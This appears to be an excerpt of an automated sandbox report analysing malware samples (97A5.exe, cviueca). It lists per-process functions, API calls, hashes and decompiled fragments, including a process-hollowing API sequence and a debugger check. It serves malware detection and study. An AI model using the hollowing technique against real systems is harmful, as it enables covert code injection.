Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000004.00000002.307828741.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: dc1226d4bc2db8ad8be4ba055d694b18d68c57301a1c136da16781e7116eb212
Instruction ID: e54376f1e00a1b05e1b0a4da34ea36749e6d38f0b530b75836749d90234edb27
Opcode Fuzzy Hash: dc1226d4bc2db8ad8be4ba055d694b18d68c57301a1c136da16781e7116eb212
Instruction Fuzzy Hash: DB018637604204EBDB047AD29C41EAA3725AF14315F24C177FE12BA0F1D53D8712A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401884, Relevance: 3.0, APIs: 2, Instructions: 40sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000004.00000002.307828741.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 06c47be1babc5c9914373f87bf5e5a6e30058494f01aa4c1fe81d8ba10f9d84d
Instruction ID: 5cccd4a7217d25da87a080ae0d04b05742d3a6582cdde403d0d4fd1f208729a0
Opcode Fuzzy Hash: 06c47be1babc5c9914373f87bf5e5a6e30058494f01aa4c1fe81d8ba10f9d84d
Instruction Fuzzy Hash: DFF01237644205FBDB047A919C41EAA3729AF44355F20C137BB13790F1C57C8652A72B

Uniqueness

Uniqueness Score: -1.00%

Function 0040187A, Relevance: 3.0, APIs: 2, Instructions: 39sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000004.00000002.307828741.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: d2cc8ded923418a485b63d44c0e9af69491e3bef1ae54f85540c04aa078cd151
Instruction ID: 5d822ad72a3bc969102d855418471fb3ff8b776078c2435d27f60d427d7e2b1d
Opcode Fuzzy Hash: d2cc8ded923418a485b63d44c0e9af69491e3bef1ae54f85540c04aa078cd151
Instruction Fuzzy Hash: 88F0FF33604205EBDB047AD59C41EAA3729AF04315F20C537BA12790F1CA3D8612AB2B

Uniqueness

Uniqueness Score: -1.00%

Function 004018D3, Relevance: 1.5, APIs: 1, Instructions: 45
nativeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E004018D3(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi) {

				 *__eax =  *__eax + __eax;
				__eax = L0040118A(__eax, __ebx, __ecx, __edi, __eflags);
				_pop(__edi);
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x004018db
0x004018e5
0x004018ea
0x004018ec
0x004018ed
0x004018ed
0x004018ee

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000004.00000002.307828741.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 2828a8cd754e6382065d6a4fb934443d5e18941ecfa79c6ebd95b6c34ee4dc7b
Instruction ID: 169e4967cc86e0c75baf1baab42a0cf60a3c7d0871e4951e2e4ac70a2d426d6d
Opcode Fuzzy Hash: 2828a8cd754e6382065d6a4fb934443d5e18941ecfa79c6ebd95b6c34ee4dc7b
Instruction Fuzzy Hash: 49F0C873604150EBD7013AA19C42AF63769EF01321F248137F923A50F1C63D8612B72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401888, Relevance: 1.5, APIs: 1, Instructions: 37nativeCOMMON

Download Yara Rule

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000004.00000002.307828741.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 2a49fbe38ca64fb741f40d4948de9f53ca9b58de087dcfee36be181988c04280
Instruction ID: 934e5413d765c160eebb9f9f9fdb0e9e8b4c73449cfdb306a0b7eda1d20c3935
Opcode Fuzzy Hash: 2a49fbe38ca64fb741f40d4948de9f53ca9b58de087dcfee36be181988c04280
Instruction Fuzzy Hash: 70F03073604104EADB007A959C41AAA3359FB05325F248537BE13B50E1C63D8612B727

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004015DB, Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.307828741.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed2891f3b553ceccb1197e576bb3cc6c62237795c24559e61feaca1efd6c1519
Instruction ID: fd271a60069478d9e85e2fad7deaa7712c787be95f3be9aeab1b4b987b801010
Opcode Fuzzy Hash: ed2891f3b553ceccb1197e576bb3cc6c62237795c24559e61feaca1efd6c1519
Instruction Fuzzy Hash: D901AF73818B07AB43709A7C4D8901E7F955A91230B494B6DB672B3EFAE634C90283C5

Uniqueness

Uniqueness Score: -1.00%

Function 0040156A, Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.307828741.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98ce89cfeeb5ddd9997256b5ea2b205477bd2588cb9c6c16e4865f99cdeb7182
Instruction ID: 4f6bc8fa09aa5bdcf42d43fc69351f521f911aca1d628afa7bc85602f15907e6
Opcode Fuzzy Hash: 98ce89cfeeb5ddd9997256b5ea2b205477bd2588cb9c6c16e4865f99cdeb7182
Instruction Fuzzy Hash: 0D019E76558F0B6F43509D3C4A8554ABF525A9A1307C40B2CB272B3BFAD734C5018380

Uniqueness

Uniqueness Score: -1.00%

Function 0040163B, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.307828741.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00b9d1c930405a9e521bac72b58a8e4ce3d6aa83d2bf40b4aa186e223dc26d8b
Instruction ID: 654c97a3283950a455190b9e492aed8f63260678440c25cc401c338180771753
Opcode Fuzzy Hash: 00b9d1c930405a9e521bac72b58a8e4ce3d6aa83d2bf40b4aa186e223dc26d8b
Instruction Fuzzy Hash: 1BD022B2474A16120612853C0C4802E7E0A08C31303C50F443633F30FDC218890743C4

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 97A5.exe PID: 6264 Parent PID: 3292 97A5.exeCOMMON

Executed Functions

Function 02E7DC15, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 02E7DC5D

Memory Dump Source

Source File: 00000013.00000002.357131641.0000000002E79000.00000040.00000001.sdmp, Offset: 02E79000, based on PE: false

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 285a1f259d6abcb09906b78598ca19797e548eb72ee301318730f73a4c09ef94
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 95F0F6321407146BE7203FF89C8CBAE76ECEF49628F105528F643D10C0DBB0E8058A61

Uniqueness

Uniqueness Score: -1.00%

Function 02E7D8D4, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 02E7D925

Memory Dump Source

Source File: 00000013.00000002.357131641.0000000002E79000.00000040.00000001.sdmp, Offset: 02E79000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 80d5cfcd3e95935357bfad0a50e67e0ea02e8960779d18e89c6b1dee04b548a2
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 96112D79A40208EFDB01DF98C985E99BBF5AF08351F058094F9489B361D371EA50DF90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 97A5.exe PID: 5464 Parent PID: 6264 97A5.exeCOMMON

Executed Functions

Function 004017EA, Relevance: 3.1, APIs: 2, Instructions: 54sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000014.00000002.368810384.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 093506dd62a563d0441f59a8a05229de1ffc0c7044889409d056a06326e13c21
Instruction ID: e26adff564c5d3d37a4e8030c80122da76794021b5cb737f4d399c49089bd509
Opcode Fuzzy Hash: 093506dd62a563d0441f59a8a05229de1ffc0c7044889409d056a06326e13c21
Instruction Fuzzy Hash: 7001B537604205EADB007EB59D819A93B68AF04365F248777BA12B91F1C938C652A71B

Uniqueness

Uniqueness Score: -1.00%

Function 0040185B, Relevance: 3.0, APIs: 2, Instructions: 50sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000014.00000002.368810384.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 1770049ace98a7458e43cc493052677b39fde3cfbd9b887cff6db6baf57fddbe
Instruction ID: a7be6de418827693af2ab350a5dd922dd862006562865765dfea97ffb81bfcac
Opcode Fuzzy Hash: 1770049ace98a7458e43cc493052677b39fde3cfbd9b887cff6db6baf57fddbe
Instruction Fuzzy Hash: BF014F33604204FAEB047A929C45DAA3628AB04355F30C533BA13B90F1D97CCB12A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401866, Relevance: 3.0, APIs: 2, Instructions: 45sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000014.00000002.368810384.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: dc1226d4bc2db8ad8be4ba055d694b18d68c57301a1c136da16781e7116eb212
Instruction ID: e54376f1e00a1b05e1b0a4da34ea36749e6d38f0b530b75836749d90234edb27
Opcode Fuzzy Hash: dc1226d4bc2db8ad8be4ba055d694b18d68c57301a1c136da16781e7116eb212
Instruction Fuzzy Hash: DB018637604204EBDB047AD29C41EAA3725AF14315F24C177FE12BA0F1D53D8712A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401884, Relevance: 3.0, APIs: 2, Instructions: 40sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000014.00000002.368810384.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 06c47be1babc5c9914373f87bf5e5a6e30058494f01aa4c1fe81d8ba10f9d84d
Instruction ID: 5cccd4a7217d25da87a080ae0d04b05742d3a6582cdde403d0d4fd1f208729a0
Opcode Fuzzy Hash: 06c47be1babc5c9914373f87bf5e5a6e30058494f01aa4c1fe81d8ba10f9d84d
Instruction Fuzzy Hash: DFF01237644205FBDB047A919C41EAA3729AF44355F20C137BB13790F1C57C8652A72B

Uniqueness

Uniqueness Score: -1.00%

Function 0040187A, Relevance: 3.0, APIs: 2, Instructions: 39sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000014.00000002.368810384.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: d2cc8ded923418a485b63d44c0e9af69491e3bef1ae54f85540c04aa078cd151
Instruction ID: 5d822ad72a3bc969102d855418471fb3ff8b776078c2435d27f60d427d7e2b1d
Opcode Fuzzy Hash: d2cc8ded923418a485b63d44c0e9af69491e3bef1ae54f85540c04aa078cd151
Instruction Fuzzy Hash: 88F0FF33604205EBDB047AD59C41EAA3729AF04315F20C537BA12790F1CA3D8612AB2B

Uniqueness

Uniqueness Score: -1.00%

Function 004018D3, Relevance: 1.5, APIs: 1, Instructions: 45
nativeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E004018D3(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi) {

				 *__eax =  *__eax + __eax;
				__eax = L0040118A(__eax, __ebx, __ecx, __edi, __eflags);
				_pop(__edi);
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x004018db
0x004018e5
0x004018ea
0x004018ec
0x004018ed
0x004018ed
0x004018ee

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000014.00000002.368810384.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 2828a8cd754e6382065d6a4fb934443d5e18941ecfa79c6ebd95b6c34ee4dc7b
Instruction ID: 169e4967cc86e0c75baf1baab42a0cf60a3c7d0871e4951e2e4ac70a2d426d6d
Opcode Fuzzy Hash: 2828a8cd754e6382065d6a4fb934443d5e18941ecfa79c6ebd95b6c34ee4dc7b
Instruction Fuzzy Hash: 49F0C873604150EBD7013AA19C42AF63769EF01321F248137F923A50F1C63D8612B72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401888, Relevance: 1.5, APIs: 1, Instructions: 37nativeCOMMON

Download Yara Rule

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000014.00000002.368810384.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 2a49fbe38ca64fb741f40d4948de9f53ca9b58de087dcfee36be181988c04280
Instruction ID: 934e5413d765c160eebb9f9f9fdb0e9e8b4c73449cfdb306a0b7eda1d20c3935
Opcode Fuzzy Hash: 2a49fbe38ca64fb741f40d4948de9f53ca9b58de087dcfee36be181988c04280
Instruction Fuzzy Hash: 70F03073604104EADB007A959C41AAA3359FB05325F248537BE13B50E1C63D8612B727

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: cviueca PID: 6212 Parent PID: 6216 cviuecaCOMMON

Executed Functions

Function 00402AC0, Relevance: .1, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E00402AC0(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __fp0) {
				intOrPtr* _t21;
				void* _t24;
				void* _t27;

				_t24 = __ecx;
				_push(0xffffffb6);
				 *((intOrPtr*)(__ebx + 0x47)) =  *((intOrPtr*)(__ebx + 0x47)) - __ebx;
				_push(__ecx);
				_t23 = 0x2e9e9c3;
				asm("in al, dx");
				asm("cmpsd");
				asm("loopne 0x4");
				asm("sbb al, 0x27");
				_t3 = __ecx - 0x16161681;
				 *_t3 =  *((intOrPtr*)(__ecx - 0x16161681)) - __eax + __eax - _t27;
				_t21 = 2;
				asm("in al, dx");
				if( *_t3 >= 0) {
					_t23 = 0x2e9e9c3 +  *0xf4b01aa;
					_push(ss);
					_push(ss);
					_t21 = 0x2b10;
					_push(0xad);
				}
				asm("lodsd");
				 *_t21 =  *_t21 + _t21;
				 *((intOrPtr*)(_t24 - 0x15)) =  *((intOrPtr*)(_t24 - 0x15)) + _t23;
				_t21 = _t21 + 0xf4eb0301;
				__eax = L0040118A(__eax, __ebx, __ecx, __edi, __eflags);
			}

0x00402ac0
0x00402ac0
0x00402ac2
0x00402ac5
0x00402ac6
0x00402acb
0x00402acc
0x00402acd
0x00402acf
0x00402ad5
0x00402ad5
0x00402adb
0x00402add
0x00402ade
0x00402ae0
0x00402ae6
0x00402ae7
0x00402aed
0x00402afe
0x00402afe
0x00402aff
0x00402b00
0x00402b02
0x00402b05
0x00402b0b

Memory Dump Source

Source File: 00000015.00000002.487868660.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38ad5de6cc25e238ca772a8d165a14268aad872a468d94c481cb051d14e6d1b8
Instruction ID: 7fe242a26a87a4f58b180528eeead1ac373e7822ac378e6f41f12b53d01bde8d
Opcode Fuzzy Hash: 38ad5de6cc25e238ca772a8d165a14268aad872a468d94c481cb051d14e6d1b8
Instruction Fuzzy Hash: 4A21DB35208145EADF12AE618F5E9AA37349F10344F2400FBAD01751E2DBFD9B02BA1F

Uniqueness

Uniqueness Score: -1.00%

Function 00402AEB, Relevance: .1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00402AEB(void* __ebx, void* __edx, void* __edi, void* __fp0) {
				void* _t15;

				_t15 = __ebx;
				while(1) {
					_push(0xad);
					asm("lodsd");
					 *0x2b10 =  *0x2b10 + 0x2b10;
					 *0x0000005D =  *((intOrPtr*)(0x5d)) + _t15;
					__eax = L0040118A(__eax, __ebx, __ecx, __edi, __eflags);
				}
			}

0x00402aeb
0x00402aed
0x00402afe
0x00402aff
0x00402b00
0x00402b02
0x00402b0b
0x00402b0b

Memory Dump Source

Source File: 00000015.00000002.487868660.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b23133ebc1994eb64dd26a5a6fc160ed452d82aaa0270aa4bfa54eac37b8cc9
Instruction ID: 703404f178dd1594a4d59af797b8ce1b5d4eb18bb8309dbacaae7544c7f15ca3
Opcode Fuzzy Hash: 0b23133ebc1994eb64dd26a5a6fc160ed452d82aaa0270aa4bfa54eac37b8cc9
Instruction Fuzzy Hash: 0A11FE30604106EADF12BE518B5ED7A3335AF10344F2000BBAD02751E1DBFDAB12B61B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: cviueca PID: 6504 Parent PID: 1104 cviuecaCOMMON

Executed Functions

Function 02C70110, Relevance: 22.7, APIs: 15, Instructions: 248memorynativethreadCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02C70156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 02C7016C
CreateProcessA.KERNELBASE(?,00000000), ref: 02C70255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02C70270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02C70283
GetThreadContext.KERNELBASE(00000000,?), ref: 02C7029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 02C702C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 02C702E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02C70304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 02C7032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02C70399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 02C703BF
SetThreadContext.KERNELBASE(00000000,?), ref: 02C703E1
ResumeThread.KERNELBASE(00000000), ref: 02C703ED
ExitProcess.KERNEL32(00000000), ref: 02C70412

Memory Dump Source

Source File: 00000016.00000002.392580075.0000000002C70000.00000040.00000001.sdmp, Offset: 02C70000, based on PE: false

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 6a55782186b9b3e218983a244caeaf41390803b71fe81f7cea7cf01f4e76d429
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 15B1C874A00208AFDB44CF98C895F9EBBB5FF88314F248158E509AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02C70420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02C70533

Strings

d, xrefs: 02C70584
mfoaskdfnoa, xrefs: 02C70520, 02C70523
saodkfnosa9uin, xrefs: 02C704DA
0, xrefs: 02C70492

Memory Dump Source

Source File: 00000016.00000002.392580075.0000000002C70000.00000040.00000001.sdmp, Offset: 02C70000, based on PE: false

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 15f5fa6224e1cf105774cc0265db23b2f50b335c3ea1b8e48c266cc69433b06f
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 13512870D08388DEEB11CBE8C849BDDBFB2AF11708F144058D5487F286C3BA5658CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 02C705B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 02C705EC

Strings

o, xrefs: 02C70600
apfHQ, xrefs: 02C705E2, 02C705E5

Memory Dump Source

Source File: 00000016.00000002.392580075.0000000002C70000.00000040.00000001.sdmp, Offset: 02C70000, based on PE: false

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 311b3b04aa0c883c576396a77febd9bda6c34a85e10e9644d07ed95bb55e6d12
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 39012170C0425CEFDF10DB98C5583AEBFB5AF41308F1480D9C8092B242D7769B58CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00424570, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000,?,0041CF2B,?,?,004246E0), ref: 00424577

Memory Dump Source

Source File: 00000016.00000002.385147213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.385024335.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.391725276.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.392348696.0000000002B36000.00000002.00020000.sdmp Download File

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 2ea03846aa0b567229e74ed0acf05d785ccbcc0ad5cbdc7d91d64925a7e8509b
Instruction ID: d35c21fdf9697fae3b8ca4ac9df821949a654717cf36e16e5de8d48c8df027d1
Opcode Fuzzy Hash: 2ea03846aa0b567229e74ed0acf05d785ccbcc0ad5cbdc7d91d64925a7e8509b
Instruction Fuzzy Hash: 10A01132088208A3C2002282A80AF023A0CE3CCBA2F080020F20C0A0A00AA2A82080AA

Uniqueness

Uniqueness Score: -1.00%

Function 0041C770, Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_() {
				void* _t3;
				void* _t4;

				E00421940(); // executed
				return L0041C790(_t3, _t4);
			}

0x0041c775
0x0041c780

APIs

___security_init_cookie.LIBCMTD ref: 0041C775

Memory Dump Source

Source File: 00000016.00000002.385147213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.385024335.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.391725276.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.392348696.0000000002B36000.00000002.00020000.sdmp Download File

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 989a3b1cde8d75633caca1be5d45cca953f1b250fff02efc506c9fb5d63ec8e4
Instruction ID: 0a681379d47398b4151bf800e6cff2603fefdfa96e043e40685e21733ad3d3f9
Opcode Fuzzy Hash: 989a3b1cde8d75633caca1be5d45cca953f1b250fff02efc506c9fb5d63ec8e4
Instruction Fuzzy Hash: C1A0027115465916015133A71857FCA754D48D47787D9001A7528021531D9CA88184AE

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00426320, Relevance: 7.6, APIs: 5, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00426320(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				long _t15;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t34;

				_t25 = __esi;
				_t24 = __edi;
				_t22 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t34 = _t20 -  *0x43e494; // 0xbda592d2
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x43ff40 = _t6;
				 *0x43ff3c = _t20;
				 *0x43ff38 = _t22;
				 *0x43ff34 = _t19;
				 *0x43ff30 = _t25;
				 *0x43ff2c = _t24;
				 *0x43ff58 = ss;
				 *0x43ff4c = cs;
				 *0x43ff28 = ds;
				 *0x43ff24 = es;
				 *0x43ff20 = fs;
				 *0x43ff1c = gs;
				asm("pushfd");
				_pop( *0x43ff50);
				 *0x43ff44 =  *_t29;
				 *0x43ff48 = _v0;
				 *0x43ff54 =  &_a4;
				 *0x43fe90 = 0x10001;
				_t11 =  *0x43ff48; // 0x0
				 *0x43fe44 = _t11;
				 *0x43fe38 = 0xc0000409;
				 *0x43fe3c = 1;
				_t21 =  *0x43e494; // 0xbda592d2
				_v812 = _t21;
				_t23 =  *0x43e498; // 0x425a6d2d
				_v808 = _t23;
				 *0x43fe88 = IsDebuggerPresent();
				_push(1);
				E00426300(_t12);
				SetUnhandledExceptionFilter(0);
				_t15 = UnhandledExceptionFilter(0x409f14);
				if( *0x43fe88 == 0) {
					_push(1);
					E00426300(_t15);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

APIs

IsDebuggerPresent.KERNEL32 ref: 0042E93D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0042E954
UnhandledExceptionFilter.KERNEL32(00409F14), ref: 0042E95F
GetCurrentProcess.KERNEL32(C0000409), ref: 0042E97D
TerminateProcess.KERNEL32(00000000), ref: 0042E984

Memory Dump Source

Source File: 00000016.00000002.385147213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.385024335.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.391725276.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.392348696.0000000002B36000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: ec5799c425ddf0c343165b590ee265faa62188accbdfc7862bd0b4e9a472a92c
Instruction ID: 6e5e083b755442f47fa541dbf7107db887e1b4b9e8adfd400c469ff2a8e79deb
Opcode Fuzzy Hash: ec5799c425ddf0c343165b590ee265faa62188accbdfc7862bd0b4e9a472a92c
Instruction Fuzzy Hash: 42210DB9D012049BD300DF65FA866487BA0BB4E314F50207BED08973B2E7B45989CF4E

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: cviueca PID: 2184 Parent PID: 6504 cviuecaCOMMON

Executed Functions

Function 004017EA, Relevance: 3.1, APIs: 2, Instructions: 54sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 0000001A.00000002.403954838.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
